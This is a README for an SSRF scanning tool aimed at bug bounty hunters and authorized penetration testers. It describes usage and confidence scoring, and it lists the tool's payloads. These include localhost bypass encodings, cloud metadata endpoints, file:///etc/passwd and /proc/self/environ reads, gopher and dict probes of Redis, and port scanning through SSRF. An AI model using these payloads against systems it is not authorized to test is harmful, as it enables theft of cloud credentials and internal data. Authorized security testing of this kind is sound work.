Automated SSRF detection tool for bug bounty and authorized penetration testing. Covers the full detection cycle: parameter discovery, bypass attempts, cloud metadata exposure, OOB confirmation, and evidence capture — with JSON output for every finding.
The tool tests a given endpoint across five phases:
- OOB external connectivity — sends a callback to your OOB domain (webhook.site auto-provisioned if none provided) and polls for a response after all other phases complete, so it never blocks the scan.
- Localhost bypass — tests 32 bypass variants (decimal, hex, octal, IPv6, DNS aliases, URL parser confusion tricks, short forms).
- Cloud metadata — probes AWS IMDSv1, AWS bypass variants, GCP, Azure, DigitalOcean, Oracle Cloud, and Alibaba Cloud endpoints.
- Alternative protocols — tests
file://,gopher://,dict://, andftp://where the server may allow them. - Header injection (opt-in) — injects payloads into 18 SSRF-relevant headers including
X-Forwarded-For,X-Real-IP,Referer,Origin, and others.
Every finding includes the raw request and response as evidence so you can verify it manually before reporting.
git clone https://github.com/YOUR_USERNAME/ssrf-hunter.git
cd ssrf-hunter
pip install -r requirements.txtRequirements: Python 3.8+
# GET parameter
python ssrf_hunter.py -u "https://target.com/api?url=x"
# POST form-encoded
python ssrf_hunter.py -u "https://target.com/stock" -p "stockApi" -m POST
# POST JSON body
python ssrf_hunter.py -u "https://target.com/api" -p "url" -m POST --post-type json
# Multiple parameters
python ssrf_hunter.py -u "https://target.com/api?url=x&redirect=y&callback=z"
# File of targets
python ssrf_hunter.py -f targets.txt -p "url" -m POST
# Custom OOB domain
python ssrf_hunter.py -u "https://target.com/api?url=x" -d "YOUR.burpcollaborator.net"
# Authenticated endpoint
python ssrf_hunter.py -u "https://target.com/api?url=x" \
--cookie "session=eyJhb...; csrf=abc" \
--header "Authorization: Bearer TOKEN"
# Telegram notifications
python ssrf_hunter.py -u "https://target.com/api?url=x" \
--telegram-token BOT_TOKEN --telegram-chat CHAT_ID
# Discord notifications
python ssrf_hunter.py -u "https://target.com/api?url=x" \
--discord "https://discord.com/api/webhooks/..."
# Header injection phase
python ssrf_hunter.py -u "https://target.com/api?url=x" --test-headers
# Deep mode (port scan — run after confirming SSRF exists)
python ssrf_hunter.py -u "https://target.com/api?url=x" --deep --threads 10
# Custom bypass wordlist
python ssrf_hunter.py -u "https://target.com/api?url=x" --wordlist bypasses.txt| Flag | Description |
|---|---|
-u, --url |
Single target URL |
-f, --file |
File of target URLs, one per line |
-p, --params |
Comma-separated parameters to test |
-m, --method |
HTTP method: GET, POST, PUT, PATCH (default: GET, auto-detects if 405) |
| Flag | Description |
|---|---|
-d, --domain |
Your OOB callback domain. If omitted, auto-provisions a webhook.site token |
--oob-wait |
Seconds to wait for OOB callback after all phases complete (default: 5) |
| Flag | Description |
|---|---|
--cookie |
Session cookies: --cookie "session=abc; csrf=xyz" |
--header |
Extra request header, repeatable: --header "X-Auth: token" |
| Flag | Description |
|---|---|
--telegram-token |
Telegram bot token |
--telegram-chat |
Telegram chat or channel ID |
--discord |
Discord webhook URL |
| Flag | Description |
|---|---|
--wordlist |
Custom bypass payload file, tested first in phase 2 |
--post-type |
POST body format: auto (default, uses form-encoded), json, form |
| Flag | Description |
|---|---|
--deep |
Port scan 127.0.0.1 via SSRF after confirming it exists. Slow — run selectively |
--test-headers |
Inject payloads into 18 SSRF headers, once per target |
--no-protocols |
Skip the alternative protocols phase |
--threads |
Threads for port scan (default: 5, max: 20) |
--guess-params |
Try 20 common SSRF parameter names when none are detected. Produces noise — verify every result |
| Flag | Description |
|---|---|
-o, --output |
Output JSON file (default: ssrf_TIMESTAMP.json) |
-t, --timeout |
Per-request timeout in seconds (default: 10) |
--no-color |
Disable colored terminal output |
--check-tools |
List which external tools are installed (interactsh-client, nuclei, etc.) |
When you provide a URL with a query string (?url=x&redirect=y), the tool extracts all parameters and tests each one independently while preserving the others in the same request.
When no parameters are present in the URL (POST endpoints), it attempts to sniff form field names from the page HTML. If that fails, it stops and tells you to specify with -p.
Using --guess-params enables blind testing against 20 common SSRF parameter names (url, redirect, callback, webhook, src, etc.). This produces false positives and is off by default.
Each finding has a confidence percentage. The tool only records findings above 45%.
| Signal | Confidence |
|---|---|
Sensitive data in response (AWS key, /etc/passwd, cloud metadata) |
90% |
| OOB callback confirmed | 85% |
| Status code change + response size change | 70% |
| Response size change ≥ 20% (non-4xx) | 50% |
| Status code change alone | 45% |
| Timing difference alone | 25% — not recorded |
| 4xx rejection (405, 400, etc.) | Penalty applied — not recorded |
Results are written to a JSON file. Each finding includes:
{
"target": "https://target.com/api",
"parameter": "url",
"payload": "http://169.254.169.254/latest/meta-data/",
"phase": 3,
"name": "cloud_metadata_ssrf",
"severity": "critical",
"confidence": 90,
"http_status": 200,
"response_size": 412,
"sensitive_data": ["Cloud_Metadata=ami-id"],
"diff_reasons": ["size:16→412 (2475%)", "sensitive:Cloud_Metadata"],
"evidence": {
"raw_request": "POST /api HTTP/1.1\n...",
"raw_response": "HTTP/1.1 200 OK\n...\nami-id\ninstance-id\n...",
"http_status": 200
}
}Localhost (32 variants)
- Standard:
127.0.0.1,localhost,0,0.0.0.0 - IPv6:
[::1],[::ffff:127.0.0.1],[::ffff:7f00:1] - Numeric encodings: decimal (
2130706433), hex (0x7f000001), octal (0177.0.0.1) - Short forms:
127.1,127.0.1,127.00.00.01 - DNS aliases:
localtest.me,localhost.localdomain,127.0.0.1.nip.io - URL parser confusion:
google.com@127.0.0.1,127.0.0.1#@google.com
Cloud metadata
- AWS IMDSv1 direct and bypass variants (decimal, hex, octal, nip.io, IPv6)
- GCP with
Metadata-Flavor: Googleheader - Azure with
Metadata: trueheader - DigitalOcean, Oracle Cloud, Alibaba Cloud
Alternative protocols
file:///etc/passwd,file:///etc/hosts,file:///proc/self/environ,file:///.envgopher://127.0.0.1:6379/(Redis)dict://127.0.0.1:6379/infoftp://127.0.0.1
Header injection (18 headers)
X-Forwarded-For, X-Forwarded-Host, X-Real-IP, X-Original-URL, X-Rewrite-URL, X-Host, X-HTTP-Host-Override, Forwarded, Referer, Origin, True-Client-IP, CF-Connecting-IP, Client-IP, X-Remote-IP, X-Remote-Addr, X-ProxyUser-Ip, X-Original-Host, X-Custom-IP-Authorization
- Always quote URLs in the terminal:
-u "https://target.com?url=x&redirect=y". An unquoted&will be interpreted by the shell as a background operator. - The tool follows
verify=Falsefor all HTTPS requests to handle self-signed certificates. - If a GET probe returns 405, the tool automatically retries with POST and switches to that method for the full scan.
--deepmode is intended to be run after you have already confirmed an SSRF exists. Running it on every target is slow and unnecessary.- For blind SSRF on targets that block outbound HTTP but not DNS, use
--domainwith a Burp Collaborator or interactsh domain that captures DNS queries.
Use only on systems you own or have explicit written authorization to test. The authors take no responsibility for unauthorized use.